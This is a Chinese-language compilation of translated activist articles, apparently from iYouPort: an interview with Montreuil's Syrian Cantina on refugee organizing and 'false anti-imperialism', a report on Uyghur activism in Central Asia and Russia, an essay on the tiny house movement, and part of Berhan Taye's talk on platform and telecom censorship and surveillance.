由于所有这些原因，我们迫切需要更新 “国际主义” 和 “反帝国主义” 的概念。这些政权和政党并没有体现全球南方或“不结盟”人民的解放。它们是专制的，是反革命势力，它们使其人民窒息。

虚假的 “反帝国主义者” 从未就这些问题说过什么。他们对政治暴力只字不提，叙利亚人民、伊朗人民、俄罗斯人民自己都是受害者。更糟糕的是，虚假的 “反帝国主义者” 直接从这些独裁政权那里传播虚假信息和宣传。在剥夺这些国家的居民的任何政治角色方面，即使是

那些拥护相似意识形态立场的人，虚假的 “反帝国主义者” 体现的只是帝国主义和种族主义特权的本质。

我们想给这类人一点建议，就是：请回过头来仔细倾听基层，倾听这些国家居民的声音，特别是那些与我们想法接近的人—— 平等主义者、女权主义者、直接民主支持者、自决权捍卫者。与其坐在自己家里大谈人民或工人阶级，不如出去去直接见见人民和工人阶级——不仅仅是在西方，而且在叙利亚、乌克兰或伊朗。特别是，许多来自这些国家的流亡者来到了西方国家。

在某些方面，对一些人来说，支持那些政权更舒服，因为这使他们能够有 “强大的人物” 来捍卫 —— 使事情变得非常简单。但我们不能支持他们。支持他们将意味着切断我们与流亡在这里的同志之间的联系，还包括那里为流亡者的生命、自由和尊严而战的潜在战友。

这就是为什么叙利亚小酒馆和 Peuples Veulent 团队将抵制这种虚假的 “反帝国主义” 的斗争作为其主要目标之一。在我们看来，在这个问题上最有价值的观点往往是那些直接来自中东的观点—— 因为长期以来，他们一直在被夹在帝国和本土专制政权之间，他们已经形成了以那里的直接局势为基础的话语。

我们必须承认，世界已经不再是原来的世界了，我们是与资本主义竞争的持有解放意识形态的孤军奋战者。但有一点是肯定的：我们绝对不会通过投奔另一个专制政权的怀抱来成功建立任何可靠的替代方案。叙利亚小酒馆提供的美味食物

你能对其他可能成为难民的人说些什么吗，比如关于如何才能在离乡背井的外国环境中继续反抗组织工作？还有对那些想要支持难民群体反抗的当地人说点什么？

L-: 我们对难民说—— 如果由于某种原因，一些政府对来自你的国家的人和与你相似情况的人表达一些好处、或较少一些压制，千万不要觉得你欠他们什么回报。永远都是人民、当地人、协会和组织为欢迎流亡者做了大部分艰苦的工作，国家永远不会完全站在我们这边。

尽量让自己了解在你流亡的地区活跃的不同斗争和不同政治团体。为了与当地活动家建立联系，必须了解他们的斗争内容：与他们交谈，向他们提问，例如请求他们向你提供他们所阅读的行动主义文献；找出你们可以彼此分享和争取的共同点。

不要指望人们会因为你是政治避难者、或者因为你躲过了战争或自然

灾害，就来支持你在国内的反抗事业。如果你打算与庇护国当地活动家保持一致和持久的联系，并在流亡中继续组织与原籍国国内问题有关的反抗活动，就必须超越寻求救济的角色，建立信心和友谊。有时，与当地人分享斗争的最好方式是组织音乐会和电影放映，一起跳舞和吃东西。我们在斗争中需要欢乐、幽默和喜庆，特别是当我们内心带着沉重的创伤时。

请记住，在你流亡的地方有来自其他民族的人，无论他们是否是难民，他们的情况可能与你类似。与他们接触，并与他们的社区建立联盟和协调，可以增强力量，开阔视野。

对于当地人，我们说 —— 与难民一起组织活动不应局限于人道主义行动或团结工作。这是一个巨大的机会，可以学习不同的反抗战术、政治实践和战略，你可以根据你的当地情况进行调整；这是一个寻找灵感、比较思考和分析的机会。倾听他们的心声：而不仅仅是他们所遭受的经历和见证—— 尽管这些都很重要 —— 而且还有关于在他们国家或你们国家可能发生的变化的想法。

世界各地的人们可以做些什么来为难民提供支持？我们需要创造哪些资源和项目？

L-: 人们可以做很多事来帮助散居社区和他们国家的难民。包括，

- 与你的国家的种族主义和排外主义政治作斗争。
- 了解其他国家的斗争，并尝试在地方和国家斗争中采取国际主义的立场。
- 给流亡者提供空间，让他们表达和分享他们的愿景、想法和分析。倾听他们的意见。你可能会学到点东西。
- 不仅要把流亡者当作需要援助的人，要把他们当作能够在涉及他们自己的原籍国或难民身份的问题之外进行政治干预的代理人。
- 根据需要，分享你的资源给他们，比如打印机、联系人等等。
- 提供空间和设施，使流亡社区能够自我组织起来。你的援助和建议是至关重要的，但不要试图指导他们的自我组织。
- 你们可能会有政治分歧，你们可能不会在所有事情上达成一致。这是正常的；重要的是能够面对和讨论这些分歧。不要害怕分歧：这是一个让大家放下教条主义的机会，也是一个让流亡者发现新的政治文化和其他做事方式的机会。他们也可能从中学到一两样东西。
- 尽可能地提供其他语言的翻译，以便让新来者更容易接受讨论和活动。

- 尽可能向个人或集体提供物质、后勤、翻译和行政支持。

除此以外，我们需要一个新的、来自下层的国际组织 —— 无论这是否涉及网络、定期会议和会面、组织、平台或论坛。我们不知道它可以采取什么形式，但我们需要更认真地思考能够具体实践的跨国团结的结构，收集战略建议，并建立一个共同的替代叙事，以便对抗整个世界弥漫的可怕的民族主义和反动路线。现在，在乌克兰发生的事使这一切变得更加紧迫。2022年叙利亚的涂鸦。

读者可以通过哪些渠道了解叙利亚和叙利亚侨民的情况？我们如何支持你们和其他相关项目？

可以更多了解来自叙利亚的新闻和反抗动员，或支持互助工作。

- Enab Baladi
- 叙利亚运动
- Aljumhuriya
- “白头盔” 组织

我们也在试图建立一个国际主义媒体。在 cantinesyrienne.fr 上，你可以看到我们的活动和一些关于叙利亚革命和世界各地其他斗争的法语和阿拉伯语文章。

还可以在这里为叙利亚小酒馆项目提供资金支持。○

The Syrian Cantina in Montreuil: Organizing in Exile

原文

为什么听不到中亚和俄罗斯维吾尔人的声音？ - iyouport

反抗者-寻求经验

维吾尔族活动家在该地区的努力被压制

尽管中亚和俄罗斯的维吾尔族人口众多，但与西方国家的同行相比，这些社区在谴责中国境内侵犯维吾尔族人权的行为方面仍然相对被动。他们究竟是真的像一些评论家所说的那样“被动”，还是仅仅是不太明显？这是一个文化-社会问题；或者因为俄罗斯和中亚地区的人权活动仍处于过渡期，与西方民主国家不同吗？这是一个政治问题；直言不讳的活动主义被国家压制，以取悦有利可图的经济伙伴？还是因为对这个问题的认识不足，因为当地语言的报道很少？

与中国的许多其他少数民族一样，维吾尔人，一个拥有1200万人口的突厥穆斯林民族社区，自20世纪90年代初以来一直在逐步丧失其法律和政治地位及文化。自2021年开始，世界目睹了记录在案的对这一少数民族前所未有的侵犯人权和非人化待遇的案例。尽管学术界和人权捍卫者进行了谴责，包括欧盟、英国、加拿大和美国在内的西方国家也对中国实施了制裁，但是，情况并没有改善，事实上还在继续恶化。

中国以对等的制裁作为回应，没有多少国家能承受得起与这样一个经济巨人的对抗。例如，一些穆斯林阿拉伯国家，本应作为他们的穆斯林“兄弟”支持维吾尔人，但恰恰相反，它们在与新疆有关的问题上支持中国，甚至驱逐维吾尔人。

其他可望得到维吾尔人支持的“兄弟”是土耳其、阿塞拜疆和中亚国家等突厥语国家。

在中国之外，维吾尔人最集中的地方是大中亚地区，根据官方统计，那里的人口约为50万：据说哈萨克斯坦有30万维吾尔人，吉尔吉斯斯坦有5万，乌兹别克斯坦有2万，土耳其有约1万。在西方国家，维吾尔人社区要小得多：例如，在德国，只有不到1000名维吾尔人，大约15000维吾尔人居住在美国。

然而，虽然西方国家的维吾尔人人口较少，但比较活跃。非政府组织，如德国的世界维吾尔代表大会和英国的维吾尔特别法庭，在国际舞台上表现突出。

世界维吾尔代表大会的代表 Sofiya 告诉我：“大多数情况下，我们得到了我们自己社区的支持，即世界各地的维吾尔人。长期以来，土耳其社区也向我们展示了大量的[道德] 支持。”

由于来自官方的信息未能提供完整的情况，记者在社交媒体页面上，在不同的突厥语相关团体和社区，发布了关于突厥语对维吾尔人的支持的问题。

哈萨克斯坦、吉尔吉斯斯坦和俄罗斯的维吾尔族非政府组织也承认土耳其人民的支持。然而，一位土耳其评论员在 Facebook 上指出，虽然土耳其为维吾尔人提供的道义支持比其他国家多，但还不如为巴勒斯坦国提供的支持，他提到在中国官员访问期间，一名维吾尔人权活动家被软禁，土耳其官员将此作为 “反**COVID-19**措施” 的理由。

哈萨克斯坦的维吾尔族侨民是迄今为止最大的群体，仅在阿拉木图市就有超过10万名维吾尔族人。有几个文化组织在哈萨克斯坦开展活动，包括在 Facebook 群组 “世界维吾尔人” 背后的一个非正式协会。它还参与社会政治活动，并组织教育会议，研究中国维吾尔人的历史和现实。其中一位驻哈萨克斯坦的活动人士在接受采访时描述了他们在当地的活动：

哈萨克斯坦这里的维吾尔人正试图绕过 “维吾尔问题” …… 哈萨克斯坦并不禁止组织或集会，但没有官方的集会或纠察队；官方也不支持这些集会。相反，当计划进行此类活动时，总是与国家安全部门进行沟通。因此，出现了这样的情况：计划举行抗议活动，但维吾尔人不在现场。「….」 中亚的维吾尔人更依赖欧洲或美国的维吾尔人 …… 那里的维吾尔人问题可以被公开讨论。

不过，在俄罗斯和中亚国家，讨论并不那么公开，当局有时甚至支持中国的政策，这与阿拉伯国家的情况类似。

在社交媒体上对记者的帖子的回复中，一些用户提到官方大众媒体缺乏信息，而另一些用户，如 We are Turkic/BİZ TÜRKLER 小组的用户，则支持融合：

他们，维吾尔人，应该融入他们的国家—— 中国的纵向和横向结构，并停止成为那里的伊斯兰极端主义的来源。如果不是这样，那么

他们要么离开自己的家园，要么被暴力同化。融合总比同化好……

在 Turkic beauty/Tilde, Fikirde, İşte Birlik！小组中，有一个帖子呼吁不同民族背景的参与者进行讨论。有几个人强调了维吾尔人自己在中亚地区的缺乏积极性：

在阿拉木图，哈萨克人连续三个月在中国总领事馆门前举行了抗议东突厥斯坦的酷刑和集中营的示威活动，然而，甚至没有一个维吾尔人加入。

另一位网友表示赞同：

中亚的维吾尔人非常被动，因为这关系到维吾尔人的历史故乡。可以说，他们对新疆维吾尔族的种族灭绝问题无动于衷。

哈萨克斯坦和吉尔吉斯斯坦的维吾尔族活动家也做出了类似的回应，他们提到了这些国家与中国的战略伙伴关系，中国的游说，以及维吾尔族在该地区作为少数民族甚至是侨民的地位。

在我对吉尔吉斯斯坦世界维吾尔代表大会的 Farkhat Ibragimov 进行的采访中，他解释了这些国家的一些困难：

当然也有区别：当哈萨克斯坦的哈萨克族或吉尔吉斯斯坦的吉尔吉斯族组织集会或纠察队时，以及当少数民族组织集会或纠察队时，特别是支持中国维吾尔族时，审讯的传票、罚款、甚至拘留都可能到达这里。此外，许多维吾尔人自己也为自己的生命和家庭以及他们在中国的亲属感到害怕「…」。

Ibragimov 补充说，大多数维吾尔人在2016年与他们在新疆的亲属失去了联系，当时甚至给那里打电话都很危险。

俄罗斯跨地区协会“莫斯科和圣彼得堡维吾尔人全国文化协会”的拉夫卡特·萨迪科夫证实了这一观点，并提到在俄罗斯的维吾尔人数量相对较少：全国有4000人，莫斯科地区约400人，整个莫斯科市只有182人。

萨迪科夫说，在俄罗斯，维吾尔人和他们的支持者可以自由组织文化和教育活动，甚至可以在中国大使馆门前组织和参加单人抗议；但是，大型活动不受欢迎：

… 在俄罗斯没有基于国籍的压迫。我们自由地生活和组织活动。相反，对中国的政治立场有一种默许的禁止。俄罗斯不欢迎对中国宣称

的“分裂主义”的支持。对俄罗斯来说，中国是一个战略伙伴。我们理解*[*俄罗斯*]*对中国的立场。毕竟，与这样一个国际伙伴的冲突会伤害国家的经济，而且会影响到所有人……

当被问及该地区维吾尔族社区相对不活跃的问题时，萨迪科夫说：

对我们来说，*[*维吾尔*]*问题不是过去的或遥远的事。我们不仅为我们的亲戚担心，也为我们的同胞担心；这对我们来说是一个痛点。我们并不沉默，尽管通过文化，或单一的纠察队，我们试图向人们传达信息，我们尽可能地谈论它。诚然，我们的声音不像在比如说德国的维吾尔人的声音那样响亮。

在反思组织关于维吾尔族问题的社会和政治活动的局限性时，这位哈萨克族活动家指出了大局：

人权活动不仅对维吾尔人很重要，而且对其他人也很重要，以便通过了解以避免这种命运。

考虑到上述情况，中亚和俄罗斯的声音难以被听到并不总是意味着沉默或被动，而是缺乏更广泛的报道，反过来也是缺乏意识。〇

Where are the voices of Central Asian and Russian Uyghurs?

原文

从小房运动中汲取经验 - iYouPort

反抗者-寻求经验

给 NGO 组织一些灵感

几年前，一些住在北京高层公寓里的老年人谈起曾经居住的四合院生活，他们十分感慨，他们感觉到冷冰冰的公寓失去了邻里街坊之间互相协作的许多乐趣。

近年来被日本政府高度重视的问题之一就是年轻人的宅文化，他们远离社区、逃避社会，躲进自己的小空间里，把公民义务锁在了门外……

如今几乎每个人都羡慕“大house”，但正是这些一应俱全的大房子让人们彼此孤立起来了。

「图」

「图」

我从“小房运动”中了解到一些令人惊讶的事。

关于“小房运动”的陈述经常传达个人主义运动方面的意识，例如人们自己建造房屋或渴望在树林中隐居。

这些故事与自给自足的新自由主义理想是一致的，将自己与更大的世界隔离开来。事实上并非如此。

虽然这可能意味着那些在小房屋建筑和生活方面拥有更多经验的人可以更好地实现目标，但这也不是最重要的问题。

相反，我从小房子的居民、建筑商、该运动的的倡导者和领导者那里学到了更多的东西，以及与我的家人一起尝试小房子生活的乐趣， 真正重要的是一个小房子可以帮助促进些什么。

在个人层面上，这可能意味着缩小规模（从更大的空间转移到更小的

空间）、减少债务、增加储蓄、降低负担（能够减少无聊工作的时间以便参与更有意义的工作和活动），并在购物和消费之外创造意义。

但是，在一个更具集体性和结构挑战性的层面上，小房子显然可以支持社区建设、反贫困和抵制住房不安全，甚至可以对威胁人民社区和生活方式的资本主义产业提出挑战。

社区建设

小房屋的住户必须和周边人互相依存，这就为社区的组织形成了一个天然便捷的环境。任何一个小房屋的住户都不能完成所有事，只有彼此联合起来才能做到。

这实际上是好事。

那些只有少数人住的大房子街区经常有各种各样的设施 —— 家庭健身房、家庭影院、有很多书的图书馆、超市 —— 所以住在里面的人根本没有必要走出来。

如今的人们往往乐于拥护庆祝独立的文化，并将需要他人帮助的文化比作个人缺陷或弱点。

但是，当你去当地的教会，电影院或公共图书馆时，就意味着走出了自己的社区，打破了隔离墙并有更多机会与他人建立关系。

这是一种反对孤立感、疏离感、对陌生人的恐惧感、以及各种其他感受的重要方式，正是这些感受一直以来令人们深居简出缩在自己的家里。

消除贫困和住房不安全

小房子也起到了抵御贫困和住房不安全的作用。

底特律是个典型案例，CASS 社区服务在这个城市解决了贫困和缺乏体面的经济适用房等重大问题。他们正在建造小房子，并将这些房子提供给低收入人群和曾经无家可归的人。

他们不仅建造房屋，还在创造社区，他们为居民提供了摆脱住房不安全和贫困的重要途径。

他们决定在地基上而不是轮子上建造小房子，这是有意而为的。就如中国的拆迁一样，底特律许多居民面临着严重的住房不安全感，可能

已经习惯于随时拎起行李就可以离开不安全的地方。

因而他们很难组织成任何社区。

而在地基上建造的房子本身就在宣誓永久性和成为社区一部分的机会。

在支付与房屋相关的账单满七年后（每月每平方英尺1美元），居民就可以直接拥有他们的房子。

想象一下，对于居无定所的人来说拥有自己的房产是多么伟大的梦想。该计划及这些实物小房子正在为摆脱贫困的途径提供可能性。

「图」

「图」

小房运动作为社会抗议

BC省的 Secwepemc Nation 采用了建造在轮子上的小房子的想法，并利用这些房子作为物理屏障，抵制拟议的跨山扩建管道通过他们的领土。

该管道将从阿尔伯塔省埃德蒙顿运送原油到BC省的本拿比，对水路、鱼类和动物构成污染威胁，并威胁到作为 Secwepemc 人祖祖辈辈居住的土地。

这些管道只会继续助长产能过剩、过度消费和浪费。

不仅仅是一个物理屏障，这些小房子和为住户提供能源的太阳能电池板表明，我们需要创造可持续生活的机会。

对于 Secwepemc 人来说，清洁的水和保护家园必需作为优先事项，高于不可持续的能源生产和运输，显然，最广泛意义上就是社区重塑了。

小房子＝大变化

我们目前面临着无数的社会问题：异化、住房不安全和无家可归，威胁土著社区的发展，更有威胁我们在地球上存在的气候变化问题。我并不是说小房子会能解决我们面临的所有问题，而是说我们需要寻找并接受挑战这些问题的创造性方法。

最终，这些小房子将展示了我们如何在最广泛和最重要的意义上捍卫家园。

作者 ***Tracey Harris*** 是加拿大新斯科舍省布雷顿角大学人类学和社会学系的助理教授。希望加拿大社区的尝试能为中国的*NGO*带来一些灵感。

Lessons Learned From the Tiny House Movement

原文

从沉默到沉默：监视和审查的恶性循环 - iyouport

你应该了解的现实反抗者-寻求经验

【2021年4月15日存档】希望更多人能站在自己的利益上思考，而不是当权者的利益—不论是政客还是寡头公司

【按】今年初推特再次实施了它的封锁战术，此次距离前一次的去年底对左翼活动家的封锁，仅仅时隔一个月；随即，在英国法庭拒绝保释之后，很多 Julian Assange 的支持者账户被推特封锁。其中最不幸的事件远非封锁本身，而是，叙事操纵者将绝大多数人的注意力绑定在对特朗普的账户的关注上，这是完全错误的，是跑题。

2018年IYP被推特封锁，我们记录了这件事：《在无可言说之中言说中国》；当时我们与本文中这位做演讲的活动家一样，我们向国际互联网权利组织 AccessNow 投诉，最终在 AccessNow 的帮助下获得了解封。但是要知道，这并非是所有人都能使用的方法，我们的成功极大程度上源于我们是一个国际联盟的成员，而本文中演讲的活动家是 Access Now 的合作者。

IYP和这位活动家都不是美国人，我们和她所致力于协助的公民群体也都不是美国人，这是一个重点，让我们与这位演讲者产生了极大的共鸣 —— 我们从她的演讲中看到了几乎完整的中国现实；唯一的不同在于，她和她的同伴们对此的认知程度要明显高于我们在中国看到的普遍现象。

请注意，我们在这里谈论的不是监视和审查本身是否合理，而是我们所有人的人身安全，乃至生命威胁，还是那句话，希望更多人能站在自己的利益上思考，而不是当权者的利益 —— 不论是政客还是寡头公司。

本文是 opentranscripts 组织的一次在线交流会的文字版。首先是视频本身，之后是它的中文翻译。

嗨大家好！我叫 Berhan Taye，我把自己定义为一名公益科技研究

者，研究科技和社会正义的交集，主要关注审查和监控，以及这两者所造成的恶性循环。我还与 Access Now 合作。我领导了 #KeepItOn 运动，这是一个反审查反监视的在线运动。

所以，今天的对话，我相信你能够从标题中看出，它是关于审查和监视的恶性循环 —— 关于不论是巨头科技公司、小型科技公司、还是那些介于两者之间的科技公司，如何在支持和协助政府监控的过程中对绝大多数人进行审查。

【注：审查和监控是实施迫害的两个步骤，监控是第一步，监控为审查锁定目标，审查为迫害提供“依据”：下面是可视化报告作为案例：

- 《「可视化信息战」 第 1 部分：在线媒体上的政治宣传、压迫和攻击》
- 《第2部分：社交媒体战场、人工政治和逮捕》】

我打算在二十分钟内左右结束这次谈话，这样您就可以有时间提问了。我也想听听您是如何遭遇大型科技公司的监视和审查的。

我先讲一个关于我的朋友的故事。我的一个朋友在过去五年里被当局逮捕过多次。他被逮捕并不是因为他是一个铁杆罪犯，绝对不是，而是因为他决定打破沉默在我们大多数人都非常害怕说真话的时候说出真话。他被捕是因为他在我们大多数人连笔都找不到的时候写下了事实。他决定挑战现状，质疑政府的说法，而我们很多人都在忙着躲藏，更不用说挑战当权者了。

正是因为他的这一英雄行动，他被逮捕，被殴打，被折磨。这就是在埃塞俄比亚 —— 以及全世界大多数国家，当你是一个持不同政见者、或者曾经是一个持不同政见者时，通常都会发生的事。我们现在有了一个新的政府，但我们仍然不知道它是否民主。

所以，除了被逮捕、被殴打、被折磨 —— 我想这些都是需要强调的重要事情，政府非常细致地让一个人在线下保持沉默，并确保他在网上也保持沉默。就如政府通常都会禁止印刷厂印刷报纸和阻止电视节目那样，他们也一直在非常小心地确保你的博客被封锁、你的网站被封锁。我们中的许多人都遭遇过这种被噤声。

对于我的这位朋友和许多像他一样的人来说，他曾依靠 Facebook 和 Twitter 来表达意见，因为当你的博客被封锁时，你的社交媒体就是你拥有的所有工具了，结果是，他的 **Facebook** 和 **Twitter** 也被封锁了。而这些社交媒体平台对于异议来说几乎是唯一的发泄源，对我们

很多人来说都是如此。但是，说真话几乎是不可能的，你必须为说真话付出代价。

2018年8月的一个下午，我记得我们在一起玩，当时他疯狂地打字，他想发布一个特定的博客，他写了一个关于新政府的博客，以及他的反抗行动如何挑战现状 —— 一如既往。完成后他试图将文章发布在 Facebook 上，但是发不出去。他又试了一次 …… 继续失败。我们都觉得这真的非常奇怪。就好像网络出了问题，其实不是网络问题。我当时就想，“好吧，也许和你的电脑有关，那试试用我的电脑来发布吧。” 但是结果，我的电脑也发不出去。

然后我们才注意到， Facebook 上有一个横幅，每次我们无法发布的时候那个红色的横幅就会跳出来，上面写着：“你不被允许发帖，因为你违反了我们社区的条款和条件” …… 这对我们很多人来说都很奇怪。因为我们不明白这是什么意思。我知道 Facebook 的条款和条件是什么，比如你不能发布有暴力倾向的内容，诸如此类 ，我们都读过这些东西。但是，感觉这非常武断，谁来决定什么是 “暴力”？我们当时并不明白发生了什么，不明白我们发布的政治博客触犯了什么东西。

作为一个研究监视国家的人，我可以很自信地告诉你，我了解监视国家的运作方式。我可以准确地猜测到哪一部分的情报人员会负责屏蔽内容、过滤和屏蔽网站。我甚至可以告诉你，做这些工作的情报部门在哪座大楼里。我可以说，我明白这个系统是如何工作的。我能感觉到它，我能触摸到它，它的背后有很多人。而这些人就是我的同胞，他们和我说着同样的语言。你绝对能知道是什么触发了政府想要拼命阻止你的网站和阻止你的博客。

所以做为异议人士，在我们自己的国家我们可以玩转那些条款，玩转这些限制，打擦边球，以尽可能维护我们的网站和内容不被封锁。

但是，当谈到在 **Facebook** 上遭遇的审查时，这不仅是一种创伤，而且是一种再创伤，因为我们很多人都不明白为什么 **Facebook** 要封锁具体内容，以及为什么活动家的账号会被封杀。

我的朋友，他是一个合法的活动家，并没有违反 Facebook 制定的任何条款和条件，没有任何证据表明他违反了任何这些东西，Facebook 的警告横幅对我们很多人来说都没有意义。我们也可以把 Facebook 犯下的这个明显的错误归结为政府的trolls大军。但**trolls**大军在这个案例中并没有发挥作用，我刚才已经告诉过你，因为我们现在有一个新的民主政府。而据我们了解，监控国家正试图重组自己，所以

trolls在那一刻就失去了工作。我们有人可以验证这一点。

📌 而在那个特定的时刻，我们很多人都觉得，我们自己国家的审查制度已经进入了 Facebook 和其他社交媒体平台。而我们这些异议人士对付本国审查的擦边球经验在 Facebook 上完全不管用，我们对它毫无办法。

Facebook 的审查结构对我们很多人来说都是遥不可及的，我的朋友不得不联系我所服务的组织 —— Access Now 的数字安全帮助热线来解决这个问题。而直到今天，**Facebook** 也没有告诉我们我的朋友的账号为什么会被封，也没有告诉我们他的内容为什么不被允许发布。

📌 而我们需要有人在我们和这些社交媒体平台之间进行调解。而根本没有多少人能够接触到 Access Now，也没有多少人能够说 Access Now 的工作人员所说的语言。

不幸的是，这并不是我的朋友所独有的，我相信很多人都遇到过类似的故事—— 来自世界各地的美国社交媒体用户，都可能有自己的故事。

（嗯，太多了，中国的 Facebook 和 Twitter 用户很多年前就经历过这些，比如，2014年的记录《Facebook带来的恐慌》；在我们的 列表-2 “关于 Facebook” 和 “关于 Twitter” 中看到更多）

这种情况在全世界都很常见，在越南和其他很多地方都有发生。比如一位活动家在两周内被 Facebook 封杀了16次。Facebook 给出的理由是，他发的东西 “太多”。根据你的看法这可能是一个合法的理由，但是，谁能决定多少才是 “太多”，我们在注册这些服务的时候同意了什么条款和条件？这些问题对我们很多人来说都没有得到答案。

📌 这种情况和许多其他情况迫使我们许多处于边缘的人看到了 Facebook 的审查制度如何在我们自己的政府无法触及的地方继续。

把这个话题从社交媒体平台上移开，让我们谈谈电信服务提供商和互联网服务提供商在世界许多地方的作用—— 请注意，我们所说的地方不是欧洲或北美。比如说你和我今天聚集在这里的地方，你可能与你的服务提供商之间的问题，不管是沃达丰电信还是你的国家里任何其他提供商，我们的共同点是，都需要担心情报机构有 “后门” 访问我们的数据，我们的数据被用来起诉我们和审查我们的言论甚至想法。..... 法院命令根本不重要，仅仅取决于当局所认为的你的 “恐怖能力水平”。因为当权者在定义什么是恐怖。

📌 在我的家乡和许多世界其他地方，问题并不是间谍机构有后门以访问我们的数据—— 是的，他们确实有后门访问我们的数据，但更重要的是，他们也有前门访问我们的数据；这意味着，他们利用科技公司、电信、互联网服务提供商非法提供的信息，就像你在斯诺登文件中看到的那样，那只是美国的案例，而在埃塞俄比亚、苏丹、冈比亚、委内瑞拉、乌干达等等很多地方的政府间谍，都在使用同样的方法压制大多数人的声音，我还可以继续列举更多这样的国家。

📌 间谍机构被直接嵌入到电信公司的互联网服务中。这意味着，间谍机构的人很可能就在这些所谓的 “科技公司” 内部有一张办公桌，还有一间办公室，可以接触到大多数用户的信息，比如你和我。

所以，当间谍机构不道德地、非法地嵌入到这些公司里面的时候，当很多这些问题出现在体制内、而我们又无法驯服他们所拥有的这种权力的时候，我们又怎么能开始讨论数据保护和需要法院授权的问题呢？

这些人就坐在屏幕后面，向间谍们展示目标公民的实时位置。这让他们看到你和你的联系人之间的所有信息对话，他们还能获得许多用户的私密信息。

如果你继续强调自己是一个 “没什么好隐瞒” 的所谓 “普通公民”，这对你来说可能并不重要，但是，如果你是一个活动家，一个记者，一个反对派人物，一个律师 …… 或者是一个反对政府的人，这显然是你的灾难。

我们中大多数人都无法自己选择服务提供商，我们完全是被安排的。即便可以在几个巨头中挑选，意义也不大，因为同样的不道德标准适用于所有提供商。例如，苏丹的前间谍部门负责人目前就是其中一家互联网服务提供商的负责人。

📌 所以，你说，当他实际上就是监视和审查活动家、杀害活动家、并做出许多可怕事情的镇压系统的核心时，我应该和他进行什么样的对话，以保护我自己的数据和隐私？

📌 我们这里所说的这些电信和互联网服务提供商，不仅仅是本国政府所拥有的地方性的提供商，他们也同样包括跨国公司，比如说沃达丰在非洲大陆有很多子公司，MTN、Airtel、还有很多其他的公司。所以这种对话. ….. 似乎就有双重标准，对一些有效，对一些无效。这些公司已经成为全世界监控和审查结构的一部分。

除了将国家的镇压结构制度化之外，这些公司还在压制大多数人的声音方面发挥了至关重要的作用。你可能会问，为什么，或者他们是如何做的。比如说，当政府不喜欢你说的话、不喜欢你在网上进行组织动员并把这些带到线下空间的时候，他们往往就会把你的互联网关掉。这在我的家乡是很常见的。所以互联网的关闭比如说发生在选举期间，抗议活动期间，或者你在组织呼吁抗议的阶段，非常刺激。就在本周，斯里兰卡、贝宁、上周的加蓬、苏丹、菲律宾，许多国家都关闭了互联网。

你可能会问，在关闭互联网的过程中，电信和互联网服务提供商的作用是什么？—— 他们是为你提供互联网接入的人，也是随时可以关闭你的互联网的人。

【注：别依赖您无法控制的东西，这是IYP的口头禅，它包括很多东西，其中第一位的就是互联网。互联网的基础设施不是民主的，公民无法控制，如果公民的反抗行动高度依赖互联网，您就会明显被动。如何离线工作已经称为反抗者的必修课程 —— 在我们的网站上搜索“如何应对断网” 以找到具体解决方案】

也许有人会说电信公司需要遵守管理他们的国家法律，比如，如果他们在丹麦，他们需要遵守丹麦的规则，如果在德国或加蓬，他们需要遵守所有这些规则，他们也需要赚钱；但是，这些规则、法律和行动是为了让大多数人沉默，他们又应该在多大程度上遵守规则呢？这些公司在多大程度上考虑过他们直接和间接地扮演着让我们很多人被噤声和被监视的角色？

比如我们看看苏丹的案例和发生的抗议活动。对于我们很多生活在距离苏丹非常近的人来说，过去三十年来看着苏丹发生的很多事，我们没有看到革命的到来，所以在2018年12月，人们因为燃料和面包的价格而感到沮丧，开始抗议，并且在过去五个月里一直在抗议。他们推翻了一个三十年的独裁政权，他们正在转型。当然，当这场革命开始的第一件事就是政府决定关闭社交媒体平台。

因此，社交媒体平台在提供信息获取渠道和提供这类革命期间所需的重要信息方面肯定发挥了巨大作用，它们也为活动家、记者和普通公民提供了重要的发声渠道。然而，它们也是扼杀公民声音的武器。

所以，当苏丹喀土穆成百上千的人走上街头时，政府就像我说的那样，迅速封锁了社交媒体，而我们很多组织起来的人就使用VPN绕过封锁。当然，即便没有封锁你也应该使用VPN以躲避监视，当时我们这些人只是为了反封锁。

📌 但是，当人们试图使用VPN登录Twitter时，Twitter 就认为这是账户被入侵的迹象，因为其IP会显示为其他国家，而实际上用户在苏丹。所以很明显，Twitter 就直接屏蔽了这些使用VPN的反封锁抗议者，并要求他们重新确认自己的身份。

【注：这不仅仅是Twitter 的特点，也是很多其他互联网服务的特点，并且不仅针对VPN，尤其针对Tor用户，见《二等公民》，这就让试图躲避监视审查的敏感人士变得非常困难】

然而，Twitter 要求苏丹人验证自己的账户并重新获得访问权限的方式是，你会被要求验证你的账户，你的密码，你的电子邮件，然后你可以输入一个电话号码，这样你就可以有一个双因素识别。📌 所以，每次你使用**VPN**登录，它都会要求你验证手机号。但是如果你在苏丹，你就无法在Twitter上添加你的电话号码，因为Twitter不一定承认苏丹的电话号码，要么他们认为苏丹这个国家不存在，要么他们认为没有电话号码可以放进去。

所以默认情况下，人们已经被排除在社交媒体的访问之外。这也意味着，当我们建议他们使用**VPN**绕过封锁时，也相当于默认在强迫他们被排除在对话之外。

Twitter 的这种设计选择—— 或者说是无视，不管你想怎么看——都意味着许多人在互联网封锁期间无法连接到 Twitter。📌 更痛苦的是，很多试图绕过封锁使用推特的人，是为了有一个媒介能够让众人知道镇压部队的暴行—— 他们记录下了证据，在我说的那个星期，大约有**60**人被警察杀害。

因此，这里的问题是，究竟是谁做出的选择，是故意排除还是选择性排除？是谁做了那个决定让苏丹不在验证电话号码的名单上，或者其他国家不在名单上。而这些都不是我们被允许问 **Twitter** 或任何其他美国社交媒体巨头的问题，因为他们在旧金山。

到目前为止，我们已经谈到了 Facebook 的作用，以及它如何审查，电信和互联网服务供应商的作用，以及他们如何以某种方式支持政府审查和监视公民。我们谈到了苏丹、埃塞俄比亚、冈比亚、加蓬、乌干达和许多其他国家，要知道这些国家并不想隐瞒他们在监视我们的事实。这些国家的制度还购买了监控技术，机器，恶意软件，不管你怎么称呼它。

所以我相信我们很多人都熟悉监控技术公司，比如NSO集团，Hackingteam、Cyberbit 等。我们大家可能都会同意，这些不同种类

的监控科技公司之所以成立就是为了用来对付我们的。我们的政府购买了这些软件，有明确的证据表明，这些软件就是用来监视那些像我这样的人，那些积极人士，活动家，那些以某种方式组织起来挑战现状的人。

他们会不惜一切代价，以确保他们可以控制我们所做的一切。

你知道，监控国家在结构方式上是由大大小小的科技公司来协助的，它们不断地致力于监视和审查我们。所以我还想把这个话题再往前推一点，推到可能不一定很明显的地方，也就是政府如何也在以很多不同的方式对人们进行审查和监视，而这些方式也许并不是直接访问我们的数据。

